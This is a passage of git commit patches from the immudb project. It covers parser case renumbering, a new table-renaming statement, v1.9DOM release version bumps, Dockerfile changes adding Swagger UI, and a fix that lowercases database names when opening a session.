yydefault: offset: yyDollar[13].exp, } } - case 77: + case 78: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 78: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 79: + case 80: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 80: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 81: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 82: + case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 83: + case 84: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 84: + case 85: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 85: + case 86: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 86: + case 87: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 87: + case 88: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 88: + case 89: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 89: + case 90: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 90: + case 91: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 91: + case 92: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 92: + case 93: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 93: + case 94: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 94: + case 95: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 95: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 96: + case 97: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 97: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 98: + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 99: + case 100: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 100: + case 101: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 101: + case 102: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 102: + case 103: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 103: + case 104: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 104: + case 105: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 105: + case 106: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 106: + case 107: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 107: + case 108: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 108: + case 109: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 109: + case 110: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 110: + case 111: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 111: + case 112: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 112: + case 113: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 113: + case 114: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 114: + case 115: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 115: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 116: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 117: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 118: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 119: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 120: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 121: + case 122: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 122: + case 123: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 123: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 124: + case 125: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 125: + case 126: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 126: + case 127: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 127: + case 128: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 128: + case 129: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 129: + case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 130: + case 131: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 131: + case 132: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 132: + case 133: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 133: + case 134: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 134: + case 135: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 135: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 136: + case 137: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 137: + case 138: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 138: + case 139: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 139: + case 140: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 140: + case 141: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 141: + case 142: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 142: + case 143: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 143: + case 144: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 144: + case 145: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 145: + case 146: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 146: + case 147: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 147: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 148: + case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 149: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 150: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 151: + case 152: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 152: + case 153: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 153: + case 154: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 154: + case 155: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index f09371d1bd..01a7f08b5c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -484,6 +484,38 @@ func (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return tx, nil } +type RenameTableStmt struct { + oldName string + newName string +} + +func (stmt *RenameTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + +func (stmt *RenameTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + table, err := tx.catalog.renameTable(stmt.oldName, stmt.newName) + if err != nil { + return nil, err + } + + // update table name + mappedKey := MapKey( + tx.sqlPrefix(), + catalogTablePrefix, + EncodeID(DatabaseID), + EncodeID(table.id), + ) + err = tx.set(mappedKey, nil, []byte(stmt.newName)) + if err != nil { + return nil, err + } + + tx.mutatedCatalog = true + + return tx, nil +} + type RenameColumnStmt struct { table string oldName string From d0b3c4b84a94f19c581716b41a766cbd817b4ebb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Oct 2023 08:44:17 +0200 Subject: [PATCH 0868/1062] release: v1.9DOM --- CHANGELOG.md | 12 +++++++++++- Makefile | 2 +- README.md | 4 ++-- helm/Chart.yaml | 4 ++-- 4 files changed, 16 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6cd58e183a..64ef0f95cd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,15 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9DOM] - 2023-10-18 +### Changes +- **cmd/immuadmin:** add indexing related flags + +### Features +- **embedded/sql:** table renaming + + ## [v1.9.0-RC2] - 2023-10-16 ### Bug Fixes @@ -3750,7 +3759,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM...HEAD +[v1.9DOM]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...v1.9DOM [v1.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...v1.9.0-RC2 [v1.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.5.0...v1.9.0-RC1 [v1.5.0]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...v1.5.0 diff --git a/Makefile b/Makefile index 461a1fce6b..eb74222c57 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9.0-RC2 +VERSION=1.9DOM DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/README.md b/README.md index edc8a72a36..0847e2dc0d 100644 --- a/README.md +++ b/README.md @@ -86,8 +86,8 @@ Click here to try out the immudb web console access in an [online demo environme You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.5.0 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.5.0/immudb-v1.5.0-linux-amd64 -mv immudb-v1.5.0-linux-amd64 immudb +wget https://github.com/codenotary/immudb/releases/download/v1.9DOM/immudb-v1.9DOM-linux-amd64 +mv immudb-v1.9DOM-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output diff --git a/helm/Chart.yaml b/helm/Chart.yaml index 5d29243587..6e6406ead3 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.5.0 -appVersion: "1.5.0" +version: 1.9DOM +appVersion: "1.9DOM" From 5239923f912e05604b9834e5b10df9ed473aa5ec Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 19 Oct 2023 12:47:11 +0200 Subject: [PATCH 0869/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0847e2dc0d..c151a36381 100644 --- a/README.md +++ b/README.md @@ -83,7 +83,7 @@ Click here to try out the immudb web console access in an [online demo environme ### Getting immudb running: executable -You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.5.0 for linux amd64: +You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9DOM for linux amd64: ```bash wget https://github.com/codenotary/immudb/releases/download/v1.9DOM/immudb-v1.9DOM-linux-amd64 From c70e4c42b51c469b5179c92db0ef69425cf26d0d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Oct 2023 13:36:53 +0200 Subject: [PATCH 0870/1062] release: v1.9DOM.0 --- .github/workflows/push.yml | 2 +- CHANGELOG.md | 8 ++++++-- Makefile | 2 +- helm/Chart.yaml | 4 ++-- 4 files changed, 10 insertions(+), 6 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 987b8bf917..7f7fc22a0b 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -235,7 +235,7 @@ jobs: - name: Build docker images shell: bash run: | - if [[ "${GITHUB_REF}" =~ ^refs/tags/v([0-9]+)\.([0-9]+)\.([0-9]+)$ ]]; then + if [[ "${GITHUB_REF}" =~ ^refs/tags/v([0-9]+)\.([A-Z0-9]+)\.([0-9]+)$ ]]; then VERSION_TAG="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}.${BASH_REMATCH[3]}" VERSION_TAG_SHORT="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}" fi diff --git a/CHANGELOG.md b/CHANGELOG.md index 64ef0f95cd..9509372efb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,8 +4,11 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9DOM.0] - 2023-10-19 + -## [v1.9DOM] - 2023-10-18 +## [v1.9DOM] - 2023-10-19 ### Changes - **cmd/immuadmin:** add indexing related flags @@ -3759,7 +3762,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...HEAD +[v1.9DOM.0]: https://github.com/vchain-us/immudb/compare/v1.9DOM...v1.9DOM.0 [v1.9DOM]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...v1.9DOM [v1.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...v1.9.0-RC2 [v1.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.5.0...v1.9.0-RC1 diff --git a/Makefile b/Makefile index eb74222c57..8d97a8d44b 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9DOM +VERSION=1.9DOM.0 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/helm/Chart.yaml b/helm/Chart.yaml index 6e6406ead3..c7f83d69fa 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9DOM -appVersion: "1.9DOM" +version: 1.9DOM.0 +appVersion: "1.9DOM.0" From 3a212c2f86fce82a5a722cf5d89696fb14e71202 Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 19 Oct 2023 15:19:36 +0200 Subject: [PATCH 0871/1062] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index c151a36381..a708ac3c3c 100644 --- a/README.md +++ b/README.md @@ -83,11 +83,11 @@ Click here to try out the immudb web console access in an [online demo environme ### Getting immudb running: executable -You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9DOM for linux amd64: +You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9DOM.0 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.9DOM/immudb-v1.9DOM-linux-amd64 -mv immudb-v1.9DOM-linux-amd64 immudb +wget https://github.com/codenotary/immudb/releases/download/v1.9DOM.0/immudb-v1.9DOM.0-linux-amd64 +mv immudb-v1.9DOM.0-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output From 221ed66ec0cea249229ba34b3009292da0cc1424 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Oct 2023 15:29:03 +0200 Subject: [PATCH 0872/1062] chore: docker image with swagger ui Signed-off-by: Jeronimo Irazabal --- build/Dockerfile | 2 +- build/Dockerfile.alma | 2 +- build/Dockerfile.full | 2 +- build/Dockerfile.rndpass | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/build/Dockerfile b/build/Dockerfile index 0d643e499a..6ff1b355d7 100644 --- a/build/Dockerfile +++ b/build/Dockerfile @@ -4,7 +4,7 @@ COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static RUN mkdir /empty FROM debian:bullseye-slim as bullseye-slim diff --git a/build/Dockerfile.alma b/build/Dockerfile.alma index 323e740f03..a7f3d7bb6a 100644 --- a/build/Dockerfile.alma +++ b/build/Dockerfile.alma @@ -2,7 +2,7 @@ FROM golang:1.18 as build WORKDIR /src COPY . . RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static RUN mkdir /empty FROM almalinux:8-minimal as alma diff --git a/build/Dockerfile.full b/build/Dockerfile.full index 8701e1ef10..5e3e1009a5 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -4,7 +4,7 @@ COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static immuclient-static +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static immuclient-static RUN mkdir /empty FROM debian:11.7-slim as bullseye-slim diff --git a/build/Dockerfile.rndpass b/build/Dockerfile.rndpass index 42c1afbaaa..d9eace6409 100644 --- a/build/Dockerfile.rndpass +++ b/build/Dockerfile.rndpass @@ -1,7 +1,7 @@ FROM golang:1.18 as build WORKDIR /src COPY . . -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static FROM debian:11.7-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " From df9f5c493fa1e2655304c1957375a3a1e9b20d15 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Oct 2023 16:19:20 +0200 Subject: [PATCH 0873/1062] chore: docker image with swagger ui Signed-off-by: Jeronimo Irazabal --- Dockerfile | 7 +++++-- build/Dockerfile | 8 ++++++-- build/Dockerfile.alma | 8 ++++++-- build/Dockerfile.full | 8 ++++++-- 4 files changed, 23 insertions(+), 8 deletions(-) diff --git a/Dockerfile b/Dockerfile index a35045d02a..5abf53592b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -17,8 +17,11 @@ WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . -RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static +RUN make clean +RUN make prerequisites +RUN make swagger +RUN make swagger/dist +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static immuadmin-static RUN mkdir /empty FROM scratch diff --git a/build/Dockerfile b/build/Dockerfile index 6ff1b355d7..e518bfe201 100644 --- a/build/Dockerfile +++ b/build/Dockerfile @@ -3,8 +3,12 @@ WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . -RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static +RUN make clean +RUN make prerequisites +RUN make swagger +RUN make swagger/dist +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=amd64 make immuadmin-static RUN mkdir /empty FROM debian:bullseye-slim as bullseye-slim diff --git a/build/Dockerfile.alma b/build/Dockerfile.alma index a7f3d7bb6a..82ee543636 100644 --- a/build/Dockerfile.alma +++ b/build/Dockerfile.alma @@ -1,8 +1,12 @@ FROM golang:1.18 as build WORKDIR /src COPY . . -RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static +RUN make clean +RUN make prerequisites +RUN make swagger +RUN make swagger/dist +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=amd64 make immuadmin-static RUN mkdir /empty FROM almalinux:8-minimal as alma diff --git a/build/Dockerfile.full b/build/Dockerfile.full index 5e3e1009a5..d21d594eb9 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -3,8 +3,12 @@ WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . -RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static immuclient-static +RUN make clean +RUN make prerequisites +RUN make swagger +RUN make swagger/dist +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=amd64 make immuadmin-static immuclient-static RUN mkdir /empty FROM debian:11.7-slim as bullseye-slim From 2225fcc00c92f7324aa4728b4f56de293cf5863a Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 19 Oct 2023 17:02:10 +0200 Subject: [PATCH 0874/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a708ac3c3c..0597c12398 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb) [![Coverage](https://coveralls.io/repos/github/codenotary/immudb/badge.svg?branch=master&kill_cache=1)](https://coveralls.io/github/codenotary/immudb?branch=master&kill_cache=1) -[![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue)](https://sbom.sh/36a0212a-aff8-4f81-9aa4-547e8b96fa9c) +[![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue?link=https%3A%2F%2Fsbom.sh%2F37cbffcf-1bd3-4daf-86b7-77deb71575b7)](https://sbom.sh/37cbffcf-1bd3-4daf-86b7-77deb71575b7) [![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb) [![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) From a80c30952b63b041b00514475952821b52275b76 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 20 Oct 2023 10:39:13 +0200 Subject: [PATCH 0875/1062] chore: docker image with swagger ui (for AWS Marketplace) --- build/Dockerfile.rndpass | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/build/Dockerfile.rndpass b/build/Dockerfile.rndpass index d9eace6409..0ae1c8152a 100644 --- a/build/Dockerfile.rndpass +++ b/build/Dockerfile.rndpass @@ -1,7 +1,13 @@ FROM golang:1.18 as build WORKDIR /src COPY . . -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immuadmin-static immudb-static +RUN make clean +RUN make prerequisites +RUN make swagger +RUN make swagger/dist +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=amd64 make immuadmin-static + FROM debian:11.7-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " From 56f113b6b778aa06e4bcb063231c7943bc5dbf4e Mon Sep 17 00:00:00 2001 From: Doni Rubiagatra Date: Thu, 19 Oct 2023 18:42:01 +0700 Subject: [PATCH 0876/1062] fix: lower databasename in OpenSession --- pkg/integration/session_test.go | 9 +++++++++ pkg/server/session.go | 13 ++++++++----- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index 63e3c574df..9e72e88516 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -63,6 +63,15 @@ func TestSession_OpenCloseSession(t *testing.T) { err = client.CloseSession(context.Background()) require.NoError(t, err) + + t.Run("Lowercase Database Name", func(t *testing.T) { + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "DeFaulTDb") + require.NoError(t, err) + + err = client.CloseSession(context.Background()) + require.NoError(t, err) + + }) } func TestSession_OpenCloseSessionMulti(t *testing.T) { diff --git a/pkg/server/session.go b/pkg/server/session.go index b95eebcdd4..3d15015baa 100644 --- a/pkg/server/session.go +++ b/pkg/server/session.go @@ -18,6 +18,7 @@ package server import ( "context" + "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" @@ -32,6 +33,8 @@ func (s *ImmuServer) OpenSession(ctx context.Context, r *schema.OpenSessionReque if r == nil { return nil, ErrIllegalArguments } + + databaseName := strings.ToLower(r.DatabaseName) if !s.Options.auth { return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } @@ -49,17 +52,17 @@ func (s *ImmuServer) OpenSession(ctx context.Context, r *schema.OpenSessionReque } db := s.sysDB - if r.DatabaseName != SystemDBName { - db, err = s.dbList.GetByName(r.DatabaseName) + if databaseName != SystemDBName { + db, err = s.dbList.GetByName(databaseName) if err != nil { return nil, err } } if (!u.IsSysAdmin) && - (!u.HasPermission(r.DatabaseName, auth.PermissionAdmin)) && - (!u.HasPermission(r.DatabaseName, auth.PermissionR)) && - (!u.HasPermission(r.DatabaseName, auth.PermissionRW)) { + (!u.HasPermission(databaseName, auth.PermissionAdmin)) 